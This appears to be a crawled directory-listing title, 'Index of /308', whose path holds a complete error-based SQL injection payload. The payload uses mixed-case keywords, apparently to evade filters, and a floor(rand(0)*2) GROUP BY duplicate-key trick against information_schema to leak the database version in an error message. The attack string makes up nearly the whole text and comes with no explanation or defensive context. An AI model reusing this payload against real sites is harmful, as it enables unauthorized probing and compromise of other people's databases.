Index of /308' and(sElEcT 1 fRoM(sElEcT count(*),cOnCaT((sElEcT(sElEcT cOnCaT(0x217e21,vErSiOn(),0x217e21)) fRoM information_schema.tAbLeS lImIt 0,1),floor(rand(0)*2))x fRoM information_schema.tAbLeS gRoUp bY x)a) and '1'='1